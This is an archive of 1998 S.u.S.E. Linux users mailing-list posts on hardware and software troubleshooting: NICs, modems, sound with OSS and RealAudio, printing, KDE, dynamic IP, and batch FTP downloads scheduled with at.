>=20
> and ncftp will download it for you.  ncftp also has a great interactive
> mode . . .  it is one of my favorite apps . . .
>=20
> of course, it is included in the SuSE distro . . .
>=20
> - mikeh

Upps, again. I think someone mentioned that, but I was _to much_ fixed
on ftp to get the real Idea. ;-(

J=C3=BCrgen

Anyway: this discussion shows the flexibility of Linux and it's
supporters!


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From reiney@sumcom.net Tue Jun 23 16:55:59 1998
From: reiney@sumcom.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 3COM 3c905B
Date: Tue, 23 Jun 1998 12:55:59 -0400
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Greeetings from CT, USA.  I am attempting to configure a new server; 
Pentium II 266 w/ 64 MB RAM, adaptec SCSI and 3COM 3c905BTX (Cyclone) 
NIC.  Everything is working fine *except* the network interface card.  
The driver appears to load properly; ie. reports all the NIC info such as 
irq, i/o base, MAC address, etc.  but the card appears to be "dead".  
Activity light won't flash and pings don't seem to make it onto the 
wire.  An "arp -a" shows no entries.  I've used the 3COM setup disk to 
run most of the card diagnostics and they all pass.  I've also tried 
disabling full/half duplex auto-detect.  There are no options set in 
/etc/conf.modules for this particular card.  Any ideas ???

Thanks in advance,

Reiney

/ B. Reiney Brown - Summit Communications  \
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From bb@suse.com Tue Jun 23 18:03:04 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] httpd can't find local host name
Date: Tue, 23 Jun 1998 11:03:04 -0700
Message-ID: <358FEDD8.5B6A67F9@suse.com>
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Wolfgang Weisselberg wrote:
>=20
> Hi!
>=20
> Trying to kill the keyboard, lsayre(a)integrityonline13.com produced:
> > On boot, httpd gives me the message "can'find local host name".
>=20
> in /etc/rc.config (or better, use YaST, so the change will be
> propagated immediately) set
> FQHOSTNAME=3D"my-hostname.do.main.com"
> or whatever your full qualified hostname is.
>=20
> in /etc/hosts set
> 0.0.0.0 my-hostname.do.main.com my-hostname my-alias-hostname
>=20
> (e.g. if your machine should have the name alice-is-great in the (not
> neccessarily existing) domain wonderland.org, but also (locally only)
> listen to alice-is-great and alice (alice-is-great.wonderland.org is a
> bit long and localhost is a bit unimaginative), set:
>=20
> FQHOSTNAME=3D"alice-is-great.wonderland.org"
> and
> 0.0.0.0 alice-is-great.wonderland.org alice-is-great alice

Please don't use 0.0.0.0 as IP address, use something like 192.168.x.y
or 10.x.y.z for private networks...

However, there is an other way to get this solved. You can tell Apache=20
which hostname to use. In /etc/httpd/httpd.conf, you can set the hostname:

# ServerName allows you to set a host name which is sent back to clients for
# your server if it's different than the one the program would get (i.e. use
# "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you=20
# define here must be a valid DNS name for your host. If you don't understand
# this, ask your network administrator.

#ServerName new.host.name

Ciao,
        BB


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From darkway@hotmail.com Tue Jun 23 18:07:54 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ISAPNP Modem!
Date: Tue, 23 Jun 1998 11:07:54 -0700
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Hey.I think i mighta figured out why i can't seem to install any distro=20
except with pcibios access disabled(which id id with suse)
prehapes something is using the same irq phyicaly I forget i'm not that=20
good with hardware but I dunno.heh Unless the pcibios access is disabled=20
it won't install.load the kernel etc.

>From owner-suse-linux-e(a)suse.com Tue Jun 23 06:50:56 1998
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>
>>Hello I am wrighting about my modem.for some resone under SuSE(5.2)
>>It cannot *see* it.I ran pnpdump > /etc/isapnp.conf then I edited it=20
>>properly and ran isapnp /etc/isapnp.conf and it says it says both=20
>boards=20
>>my creative awe64(value) and my 36.6 davicom modem.
>>But still it says it does not work.i'v tried numberious dialing=20
>programs=20
>>wvdial,seyon,minicom nothing "opens"
>>wvdial autodetcts modems and all but still doesn't detect it.
>>I have no idea why this maybe :| if you hadn't guess i'm a newbie to=20
>>this.
>>
>>Another note is that to install suse i had to use the kernel with pci=20
>>bios access disabled.the other one would reboot my system for some=20
>>resone...
>>
>>any suggestions/info would be greatly apreciated
>Well, I've had simular experiences..  My ISA PnP modem worked fine.  I=20
>went to Windows 95 to see what it saw it as (com 3 irq 4) and told=20
Linux=20
>to use the same and it worked.  As far as the PCI modem, I just gave=20
up. =20
>Put a ISA 56 v.90 in and bang...  it worked..
>
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From bb@suse.com Tue Jun 23 18:08:37 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] JFYI - unsubscribe policy
Date: Tue, 23 Jun 1998 11:08:37 -0700
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Hi,

JFYI, I unsubscribed about 40 adresses from the list, which produced=20
tons of error messages (mailbox full, user unknown, mailserver timeouts,
etc). Please take care of your mailboxes. As the the number of subscribers
increases, I have remove people from the list more agressive now.

Thanks,
        BB

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From arunkhan@xnet.com Tue Jun 23 18:37:18 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 3COM 3c905B
Date: Tue, 23 Jun 1998 13:37:18 -0500
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At 12:55 98/06/23 -0400, you wrote:
>
>
>Greeetings from CT, USA.  I am attempting to configure a new server;=20
>Pentium II 266 w/ 64 MB RAM, adaptec SCSI and 3COM 3c905BTX (Cyclone)=20
>NIC.  Everything is working fine *except* the network interface card. =20
>The driver appears to load properly; ie. reports all the NIC info such as=20
>irq, i/o base, MAC address, etc.  but the card appears to be "dead". =20
>Activity light won't flash and pings don't seem to make it onto the=20
>wire.  An "arp -a" shows no entries.  I've used the 3COM setup disk to=20
>run most of the card diagnostics and they all pass.  I've also tried=20
>disabling full/half duplex auto-detect.  There are no options set in=20
>/etc/conf.modules for this particular card.  Any ideas ???
>
>Thanks in advance,
>
>Reiney

Try to get the latest drivers for your card from
http://cesdis.gsfc.nasa.gov/linux/drivers=
/>.  BTW, the site also carries
hints for the various NICs.

HTH
Arun Khan

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From hongfeng@public.wh.hb.cn Tue Jun 23 18:40:56 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Wed, 24 Jun 1998 02:40:56 +0800
Message-ID: <358FF6B8.CB6FE50E@public.wh.hb.cn>
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Hi,

> No, but what beta version are you running?  I use beta 4, and have never
> experienced this problem, so it might be a remenant of something they
> scrapped a while back.

I am using the KDE in SuSE 5.2

Rgds,
Frederic


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From chaos@odn.de Tue Jun 23 19:01:56 1998
From: chaos@odn.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Tue, 23 Jun 1998 21:01:56 +0200
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HihO...

> I have a problem when I use KDE: the screen gets dark suddenly and it
> requires
> to entry password, sometimes it returned to KDE after enter the
> passwords,

then the screen saver with password option or the lock screen function was
activated...

> but in most cases it stoped there.

that should not be...moving the mouse and typing the password should
work...

o far...


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From roberto@cbvcp.com Tue Jun 23 20:05:42 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Tue, 23 Jun 1998 13:05:42 -0700
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hongfeng wrote:
>=20
> Hi,
>=20
> > No, but what beta version are you running?  I use beta 4, and have never
> > experienced this problem, so it might be a remenant of something they
> > scrapped a while back.
>=20
> I am using the KDE in SuSE 5.2

That is beta 3, i think, but, as many people have said, it is the
screensaver that is giving you problems.


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From dana@ntd.net Tue Jun 23 21:34:18 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 3COM 3c905B
Date: Tue, 23 Jun 1998 16:34:18 -0500
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Reiney Brown wrote:
> 
> Greeetings from CT, USA.  I am attempting to configure a new server;
> Pentium II 266 w/ 64 MB RAM, adaptec SCSI and 3COM 3c905BTX (Cyclone)
> NIC.  Everything is working fine *except* the network interface card.
> The driver appears to load properly; ie. reports all the NIC info such as
> irq, i/o base, MAC address, etc.  but the card appears to be "dead".

I'd bet its DOA, try another card.  We've had a bad bunch
of the 3COM cards here lately also.

Dana

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From sina@Glue.umd.edu Tue Jun 23 21:49:27 1998
From: sina@Glue.umd.edu
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] g77 and egcs
Date: Tue, 23 Jun 1998 17:49:27 -0400
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Hi all, 
I have suse 5.2 which comes with g77 version 0.5.19 and gcc 2.7.2.1. The
simulation package I need to link my fortran code require 0.5.21 which is 
part of newer version of gcc. But when I try to upgrade my gcc to 2.7.2.3,
I see that there are many dependencies. I am wondering if anyone here
running suse 5.2 has successfully upgraded their g77/gcc to either 2.7.2.3
or to egcs. Which one is recommanded? Which one has more f90 extensions?
Can gcc and egcs coexist? 

Thanks,
Ramin Sina   

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From lsayre@integrityonline13.com Wed Jun 24 01:14:17 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE problem
Date: Tue, 23 Jun 1998 20:14:17 -0500
Message-ID: <359052E9.63C25646@integrityonline13.com>
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Aaron Seelye wrote:
>=20
> hongfeng wrote:
> >
> > Hi,
> >
> > I have a problem when I use KDE: the screen gets dark suddenly and it
> > requires
> > to entry password, sometimes it returned to KDE after enter the
> > passwords,
> > but in most cases it stoped there.
> >
> > Does anyone have the same problem?
>=20
> No, but what beta version are you running?  I use beta 4, and have never
> experienced this problem, so it might be a remenant of something they
> scrapped a while back.
> --
> Aaron Seelye
> http://revolution.3-cities.com/~roberto>
> --

Beta 3 gave me numerous hangs, but a simple (thanks to YaST) upgrade to
Beta 4 has made my GUI rock solid!

-----------------------------------------------
Man's mind is his basic tool of survival!

Lawrence Sayre 
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From chandlerrick@hotmail.com Wed Jun 24 01:17:11 1998
From: chandlerrick@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS and RealPlayer
Date: Tue, 23 Jun 1998 18:17:11 -0700
Message-ID: <19980624011711.23102.qmail@hotmail.com>
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>Are you using exactly this combination?: SuSE 5.2 with the included OSS
>demo, and RealAudio 5.0 for Linux 2.0.___ using 'ELF'.  If so, you may
>be the first to claim that RealAudio 5.0 works for this combo!  (P.S.
>the ELF version is the only one available for RealAudio 5.0, as 'A.OUT'
>died with RealAudio 3.0)
>
>The RealAudio 5.0 problem seems to occur with the free=20
>OSS demo which is packaged with SuSE 5.2.
>
>With this OSS release I had no problems at all with RealAudio 3.0, but=20
I
>sure did with RealAudio 5.0, as have seemingly all others.  Any other
>OSS release may not cause this problem, and per one regular here the
>latest registered $20 OSS definately works just fine with RealAudio=20
5.0.
Well actually no.  The one that came with S.u.S.E. was a piece of junk. =20
I downloaded the latest version and RealPlayer.  It didn't work at=20
first, but the other day for some reason it just started working.  Beats=20
me why.  I didn't do anything special or change any configuration=20
files..  Wierd huh??=20

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From lsayre@integrityonline13.com Wed Jun 24 01:24:36 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Ensonique PCI.
Date: Tue, 23 Jun 1998 20:24:36 -0500
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misc.word.corp wrote:
>=20
> > Oh no!
> >
> > The file "modversions.h" is generated on kernel compile if you enable the
> > option CONFIG_MODVERSIONS. If you do this, remember to rebuild your kernel
> > and all the modules you use. It's not a good idea to use this file from
> > another machine.
> >
> > I wonder why some driver wants to patch this file...
> >
> >     Hubert
> >
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> Hubert,
>=20
> Thanks for the tip.  Sheesh -- who knows why modversions.h is necessary?
>=20
> In any event, I found "modversions.h" in the Linux hacker's kernel and copi=
ed
> it into the /included directory. The compiler found it okay, but got hung up
> down the line.
>=20
> At this point, I'll either wait for a beta (and compilable) version of the
> Ensonique PCI driver -- or maybe purchase the full version of OSS.
>=20
> Has anybody found that RealAudio suddenly springs into life after installing
> the $20 version of OSS?  Maybe the problems some of us are having are due to
> using the shareware version.  Pfenning-wise and pound foolish.
>=20
> -- Glenn --
>=20

I gave up on the OSS which came with SuSE 5.2 due to RealAudio, and
compiled sound in the kernel (for an SB AWE32 PnP) and this solved my
problems 100%.  However, to answer your question, there is one regular
here (I've  forgotten his name) who has purchased the latest $20 release
of OSS (version 3.9_ I believe, doing this from memory), and says that
RealAudio 5.0 works just fine for him.

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From lsayre@integrityonline13.com Wed Jun 24 01:37:48 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS and RealPlayer
Date: Tue, 23 Jun 1998 20:37:48 -0500
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RICK CHANDLER wrote:
>=20
> I missed most of the messages from this thread but, what I've gathered
> is that the majority says that OSS and RealPlayer will not play nice
> together right?  I've got OSS running (crappy sound card :-)  )  and
> RealPlayer works great with Netscape.
>=20
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Are you using exactly this combination?: SuSE 5.2 with the included OSS
demo, and RealAudio 5.0 for Linux 2.0.___ using 'ELF'.  If so, you may
be the first to claim that RealAudio 5.0 works for this combo!  (P.S.
the ELF version is the only one available for RealAudio 5.0, as 'A.OUT'
died with RealAudio 3.0)

The RealAudio 5.0 problem seems to occur with the free=20
OSS demo which is packaged with SuSE 5.2.

With this OSS release I had no problems at all with RealAudio 3.0, but I
sure did with RealAudio 5.0, as have seemingly all others.  Any other
OSS release may not cause this problem, and per one regular here the
latest registered $20 OSS definately works just fine with RealAudio 5.0.

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From lsayre@integrityonline13.com Wed Jun 24 01:46:11 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Tue, 23 Jun 1998 20:46:11 -0500
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Dana J. Laude wrote:
> 
> RICK CHANDLER wrote:
> >
> > Still can't get this modem to work..  Anyone ever used a PCI modem with
> > Linux?  It's a SupraMax 56k..
> 
> I haven't received a reply from Diamond yet, but it seems
> like
> the new 2.1.106 kernel supports PCI modems and sound
> cards...,
> to what extent I don't know.  Anyone?
> 
> Dana
> --

I'd like to be able to confirm this, but after compiling 2.1.106 (error
free compile, several times trying various options in an attempt to get
it to work) I got so many hangs and errors on boot that I gave up on it,
and compiled the new SuSE 2.0.34 kernel instead.  

P.S.: 2.0.34 compiled and installed without a single problem. I'm using
SuSE 5.2.  What's interesting is that my SB AWE32 PnP soundcard (ISA)
initializes on boot (and works fine), without using isapnp!
 
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From fmiller@lightlink.com Wed Jun 24 01:50:34 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Behaviour
Date: Tue, 23 Jun 1998 21:50:34 -0400
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Jon Snidal wrote:
> 
> Hello, all.  New to Linux, and I think it's first-rate (came from Solaris
> 2.5.1).  I have noticed that if I get a few processes running, however, my
> mouse cursor will pause sporadically, though briefly.  Like, if I move the
> mouse in a steady circular pattern, the cursor will freeze (just for half a
> sec) every few times 'round, usually during a disc access or something.
> I've tried renicing processes to no avail (especially the java culprit).
> This is a PS/2 mouse on an IBM machine.  Is there anything I can do?  Would
> the same thing happen with a serial mouse?  It makes the whole interface
> experience seem jerky.  Any help would be appreciated!

Jon, 'need to know more about the system....hardware that is.  There are
a number of things that can cause this, video is one of them.

Fred


-- 
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Cornell Univ. Press Services
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From dana@ntd.net Wed Jun 24 01:53:08 1998
From: dana@ntd.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Tue, 23 Jun 1998 20:53:08 -0500
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Lawrence Sayre wrote:

> 
> I'd like to be able to confirm this, but after compiling 2.1.106 (error
> free compile, several times trying various options in an attempt to get
> it to work) I got so many hangs and errors on boot that I gave up on it,
> and compiled the new SuSE 2.0.34 kernel instead.
> 
> P.S.: 2.0.34 compiled and installed without a single problem. I'm using
> SuSE 5.2.  What's interesting is that my SB AWE32 PnP soundcard (ISA)
> initializes on boot (and works fine), without using isapnp!

I downloaded the source to 2.1.106 also, but I still need to
upgrade almost all the required app upgrades except for 1.
(maybe this weekend I'll give it a try)

I'm still running SuSE 5.1 here, but I'll have to try
2.0.34, since I have the same soundcard.  

Dana
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From kepe@home.com Wed Jun 24 03:36:12 1998
From: kepe@home.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] WindowMaker theme collaboration?
Date: Tue, 23 Jun 1998 22:36:12 -0500
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Noticing a theme for RH (WindowMaker), I thought it might be a good idea
to produce a theme using SuSE. Anyone, using wm, interested in doing a
list-wide collaboration for a theme?

-- 
Danny Kephart
kepe(a)home.com
ICQ 14477884
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From nelsen@telusplanet.net Wed Jun 24 03:59:18 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Printer id
Date: Tue, 23 Jun 1998 21:59:18 -0600
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Since my install of SuSE 5.1 - when I go to send a file to lpr - the
printer just gives a reset - no other signs of life.  There is only one
printer on the system, it's on the paralell port and it works fine when I
restart into DOS or Windows.  The books and HOW TOs that I found say to
edit the dot file .profile by the command export PRINTER=xx  

My problem is where to find a list that gives me the xx for a given printer
model.  All I could find was postscript=ps

Failing a list, any of you know what to call a 24 pin Panasonic?  Or is
there an easier way to reconfigure this?

TIA

Dave
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From thehaas@binary.net Wed Jun 24 03:59:59 1998
From: thehaas@binary.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] WindowMaker theme collaboration?
Date: Tue, 23 Jun 1998 22:59:59 -0500
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yes - I just started "reusing" wm and would love to join in . . .=20

and I like to make tiles . . . ;-)

- mikeh

>=20
> Noticing a theme for RH (WindowMaker), I thought it might be a good idea
> to produce a theme using SuSE. Anyone, using wm, interested in doing a
> list-wide collaboration for a theme?
> --=20
> Danny Kephart
> kepe(a)home.com
> ICQ 14477884
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From webmaster@hannara.or.kr Wed Jun 24 05:53:16 1998
From: webmaster@hannara.or.kr
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Wed, 24 Jun 1998 14:53:16 +0900
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=1B$)C
Juergen Braukmann wrote:

> Jim Hatridge wrote:
> >
> > On Sat, 20 Jun 1998, Juergen Braukmann wrote:
> >
> > >
> > > Hello Everybody,
> > >
> > > I want to download packages from ftp-servers. (i.e. ftp.suse.com)
> in
> > > batch mode.
> > >
> > > [...]
> > >
> > > Ideas?
> > >
> > > J=0E|=0Frgen
> > >
>
> > Hi Juergen!
> >
> > Looking in my SuSE manual it says to login as ftp. When I want to
> d/l
> > anything there I use Midnight Commander with "cd
> ftp://ftp(a)ftp.suse.de">ftp(a)ftp.suse.d=
eftp://ftp(a)ftp.suse.de>"
> > this lets me do what ever I want. I'll admit that I've not tried
> batch
> > file d/l'ing so I don't know if this is what you want.
> >
>
> Hi Jim,
>
> as I mentioned, I've found the solution. Never the less, all other
> tips
> are usefull as well. did not thought that "mc" is like that. Did not
> know until a few days ago that "mc" can browse disks as well. ;-))
>
> But I wanted _realy_ download at night when phone rates are cheap.
> (furthermore: my ISP does not charge time between uhh 0:00 and 6:00
> am).
> But I did not want to use the alarmclock. ;-)
>
> If you create the file .netrc in your home directrory, with entrys
> like:
>
> default user anonymous password email(a)adress.de
>
> these defaults are used when you start ftp. (no other way to get
> behind
> that password request of ftp)
>
> I now can use:
>
> ftp < script.ftp
>
> with script.ftp like:
> open ftp.suse.com
> cd /suse_update
> get whatever/you/want /were/ever/it/goes/to
> get anything_else
> ....
> quit
>
> I start this with "at", that makes it a nice method after all.
> fetched ghostscript update last night ;-))
>
> cheers
>
> J=0E|=0Frgen
>
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Hi!
Here is KOREA.
I'm an administrator of "The Grand National Party BBS".
Theseday, I get too many mails about LINUX or etc.=0E!!!!=0F
I thought, you have wrong internet mail address.
I don't want your mail.
Please, Don't mail to me (webmaster(a)hannara.or.kr)!

bye! =0E!!!!=0F

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From webmaster@hannara.or.kr Wed Jun 24 05:55:02 1998
From: webmaster@hannara.or.kr
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPPD Deamon
Date: Wed, 24 Jun 1998 14:55:02 +0900
Message-ID: <359094B6.20871596@hannara.or.kr>
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$)C
Perry Moon wrote:

> >> I am trying to get my ppp connection to the net working under
> S.u.S.E. 5.2
> >> fresh install. I have X up and running and am using the KDE window
> manager.
> >> I was trying to config my dial up using an applet called KDPPP I
> think is
> >> the name, nice config panel. Anyway, all seems to function
> correctly to the
> >> point of connection and login script execution. The Login id goes
> in and
> >> then the prompt for Password and it is sent. And at this point
> (when the
> >> ppp handshake starts) I get a message on the debug console that
> says PPD
> >> Deamon died unexpectedly and that is the end of the connection
> attempt. The
> >> connection drops 30 seconds later or so later.
> >>!!!!!!!!!! Any ideas or things to look at would be greatly
> appreciated.
> >
> >Check /etc/ppp/options. It has to be empty for kppp to work.
> >
> >Ciao,
> >!!!!!!!!!!!! Stefan
>
> Thank's guy's, that was it! :-)
>
> Perry Moon
>
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Hi!
Here is KOREA.
I'm an administrator of "The Grand National Party BBS".
Theseday, I get too many mails from "....(a)mindspring.com".!!!!
I thought, you have wrong internet mail address.
I don't want your mail.
Please, Don't mail to me (webmaster(a)hannara.or.kr)!

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From mwagnon@ixpres.com Wed Jun 24 07:07:22 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printer id
Date: Wed, 24 Jun 1998 00:07:22 -0700
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Hi David-

Start up yast and set up you printer from there. yast uses apsfilter
which is a must have if you plan on printing postscript, graphics, etc.
Or if you're a masochist, you can set it up manually. Writing a
/etc/printcap file isn't that hard with dotmatrix printers. To find
where your printer is located, simply send a small ascii file to it like
so:

   # cat filename > /dev/lp*

ubstitute 0, 1, 2... until you find it. 

I used to have a panasonic 24-pin printer and I have used it under Linux
(slackware to be specific). I only printed plain ascii text with it, so
I don't know if my setup was capable of printing anything more complex
like postscript.

I've only set up my laser printer via yast and it works great. I don't
have any experience setting up a matrix printer through yast though.
Just choose the printer that most closely resembles yours, or one that
you printer can emulate. I believe that my printer could emulate the IBM
proprinter and an Epson something-or-other. 

Luck,

Mark 


---

David Nelsen wrote:
> 
> Since my install of SuSE 5.1 - when I go to send a file to lpr - the
> printer just gives a reset - no other signs of life.  There is only one
> printer on the system, it's on the paralell port and it works fine when I
> restart into DOS or Windows.  The books and HOW TOs that I found say to
> edit the dot file .profile by the command export PRINTER=xx
> 
> My problem is where to find a list that gives me the xx for a given printer
> model.  All I could find was postscript=ps
> 
> Failing a list, any of you know what to call a 24 pin Panasonic?  Or is
> there an easier way to reconfigure this?
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From mwagnon@ixpres.com Wed Jun 24 07:13:26 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Wed, 24 Jun 1998 00:13:26 -0700
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I always steer clear of internal modems, especially the pnp windoze
variety. I've used three different brands of modem (USR, Motorola, and
ZOOM) without so much as a problem. 

Mark


---

Dark Way wrote:
> 
> I have had a problem with my modem as well.pnpdump saw it
> thou.configured isapnp.conf it should have worked but nothing *see*'s
> it.I don't have a friggin clue why.Thinking of getting a external hayes
> v90.what you think?Any advice from someone who's been there?
>
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From mwagnon@ixpres.com Wed Jun 24 07:24:04 1998
From: mwagnon@ixpres.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] control dyn.ip adr.
Date: Wed, 24 Jun 1998 00:24:04 -0700
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Hi Fadi-

I'm not a networking guru, but the way I see it is that the whole deal
with dynamic IP addresses is that your ISP allocates you an address
randomly each time you connect. So I don'think that you can do anything
about it except hang up and dial again until you get the desired address
:) Just kidding. Are there any ISPs that provide customers with static
IP addresses over a phone line? (you are using a phone line right?)

Maybe someone else will see this crazy comment and decide to contribute.

Luck,

Mark


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> 
> hi
> 
> i have ppp-connection to isp  via dyn. ip adr., so if i have to accept
> dyn. addressing,
> can i maintain some control over the addressing ? and how?
>
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From benny@dsl.nl Wed Jun 24 09:44:40 1998
From: benny@dsl.nl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] control dyn.ip adr.
Date: Wed, 24 Jun 1998 11:44:40 +0200
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It depends.
Some ISP's will, and some won't.
What you can do is leave your computer on. In Europe that is generally not a
good idea.
Also, you can try keeping track of the IP-adresses you ISP assign to you.
If you get the same IP-adress every time, you could try using this adress
for httpd/ftpd.

B(a)N

-----Original Message-----
From: Mark Wagnon 
To: suse-linux-e(a)suse.com 
Date: woensdag 24 juni 1998 10:09
Subject: Re: [S.u.S.E. Linux] control dyn.ip adr.

>
>Hi Fadi-
>
>I'm not a networking guru, but the way I see it is that the whole deal
>with dynamic IP addresses is that your ISP allocates you an address
>randomly each time you connect. So I don'think that you can do anything
>about it except hang up and dial again until you get the desired address
>:) Just kidding. Are there any ISPs that provide customers with static
>IP addresses over a phone line? (you are using a phone line right?)
>
>Maybe someone else will see this crazy comment and decide to contribute.
>
>Luck,
>
>Mark
>
>---
>
>Fadi Sodah wrote:
>>
>> hi
>>
>> i have ppp-connection to isp  via dyn. ip adr., so if i have to accept
>> dyn. addressing,
>> can i maintain some control over the addressing ? and how?
>>
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From darkway@hotmail.com Wed Jun 24 11:08:03 1998
From: darkway@hotmail.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI modem
Date: Wed, 24 Jun 1998 04:08:03 -0700
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Thanks.
Would you or anyone happen to know why when installing linux except suse=20
eide003*pci bios access disabled* the system reboots?

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>I always steer clear of internal modems, especially the pnp windoze
>variety. I've used three different brands of modem (USR, Motorola, and
>ZOOM) without so much as a problem.=20
>
>Mark
>
>---
>
>Dark Way wrote:
>>=20
>> I have had a problem with my modem as well.pnpdump saw it
>> thou.configured isapnp.conf it should have worked but nothing *see*'s
>> it.I don't have a friggin clue why.Thinking of getting a external=20
hayes
>> v90.what you think?Any advice from someone who's been there?
>>
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From jonno@printsters.com Wed Jun 24 12:49:28 1998
From: jonno@printsters.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Behaviour
Date: Wed, 24 Jun 1998 07:49:28 -0500
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Hi, and thanks for your response.  The machine is an IBM Pentium 100
(6885-PCH) with S3 Vision 864 video (1 meg) built-in and I am using the
accelerated XServer (driver?) with SDAC and clock chip choices selected;
also, an Adaptec 2940 SCSI adapter with Quantum Fireball discs.  It's not
like it's a huge problem, but annoying nonetheless; it makes things seem
kind of disjointed.  Each strange pause is accompanied by a disc access, I
think.  And even then, this only develops when a few things get going!
Thanks again -- Jon.

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From chris123@netcom.ca Wed Jun 24 13:58:15 1998
From: chris123@netcom.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Diald
Date: Wed, 24 Jun 1998 09:58:15 -0400
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Couldnt agree with you more. 

ch

Roy Keeley wrote:
> 
> DarkStar wrote:
> 
> > The man page doesn't have examples, and I can't find a Diald
> > help-to.
> 
> Man, you are NEVER going to see examples in unix, they don't believe
> in it. It is part of their "nerdy" rite of passage that they make you
> pass, before you learn Linux. That is part of the reason why
> Microstuff keeps beating the pants off of Linux, when it should be
> other way around.    Those few times when a Linux or Unix author gives
> you an example, it will look like a diamond out there. You will feel
> like you just discovered something new. Gads, this attitude has got to
> change. Sorry everyone, I just had to sound off.
> 
> 
> --
> 73
> Roy
> 
> Roy Keeley (KC4IMC)
> rkeeley(a)dibbs.net
> snail mail= Roy Keeley, 10675 Salt Aire Rd,E.,Theodore,AL 36582, USA
> APS# 156954, ARA# 4750, C&LS# 162
> 
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From tanc@cuug.ab.ca Wed Jun 24 14:48:04 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] control dyn.ip adr.
Date: Wed, 24 Jun 1998 08:48:04 -0600
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What you can do is to check out the DynDNS service of Monolith
(www.ml.org).  I saw something there about being able to use one of the
scripts that updates your IP on their DNS server database.  That way,
you'll just assign ftpd and httpd the hostname that you pick at ml.org,
then run the script every time you dial up to your ISP.  I haven't tried
it out myself as none of my machines have a modem.  They are all connected
via cable modem or company LAN.

Hope this helps.

Regards,
C. J. Tan
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On Wed, 24 Jun 1998, Benjamin van Ruyssevelt wrote:

>=20
> It depends.
> Some ISP's will, and some won't.
> What you can do is leave your computer on. In Europe that is generally not a
> good idea.
> Also, you can try keeping track of the IP-adresses you ISP assign to you.
> If you get the same IP-adress every time, you could try using this adress
> for httpd/ftpd.
>=20
> B(a)N
>=20
>=20
> -----Original Message-----
> From: Mark Wagnon 
> To: suse-linux-e(a)suse.com 
> Date: woensdag 24 juni 1998 10:09
> Subject: Re: [S.u.S.E. Linux] control dyn.ip adr.
>=20
>=20
> >
> >Hi Fadi-
> >
> >I'm not a networking guru, but the way I see it is that the whole deal
> >with dynamic IP addresses is that your ISP allocates you an address
> >randomly each time you connect. So I don'think that you can do anything
> >about it except hang up and dial again until you get the desired address
> >:) Just kidding. Are there any ISPs that provide customers with static
> >IP addresses over a phone line? (you are using a phone line right?)
> >
> >Maybe someone else will see this crazy comment and decide to contribute.
> >
> >Luck,
> >
> >Mark
> >
> >---
> >
> >Fadi Sodah wrote:
> >>
> >> hi
> >>
> >> i have ppp-connection to isp  via dyn. ip adr., so if i have to accept
> >> dyn. addressing,
> >> can i maintain some control over the addressing ? and how?
> >>
> >-
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From tanc@cuug.ab.ca Wed Jun 24 14:52:01 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Motif 2.0.1 vs. Motif 2.1
Date: Wed, 24 Jun 1998 08:52:01 -0600
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Greetings!

Can someone please tell me what is the difference between Motif 2.1 and
Motif 2.0.1?  Can we run the Metrolink Motif 2.1 on S.u.S.E. 5.2?  Do we
have glibc 2.0.5? =20

I am also a bit confused as to which version is available through S.u.S.E.
On the web site, it shows only Motif 2.0.1 but on the Spring catalog, it
shows Motif 2.1. =20

Thank you very much.

Regards,
C. J. Tan
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From sodah@qatar.net.qa Wed Jun 24 15:31:26 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Wed, 24 Jun 1998 18:31:26 +0300
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TRSchultz wrote:

> What does SuSE stand for?
>

Software und System Entwicklung

Entwicklung -> development
und -> and

bye
fadi

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From trs@wt.net Wed Jun 24 15:40:57 1998
From: trs@wt.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] What does SuSE stand for?
Date: Wed, 24 Jun 1998 10:40:57 -0500
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What does SuSE stand for?

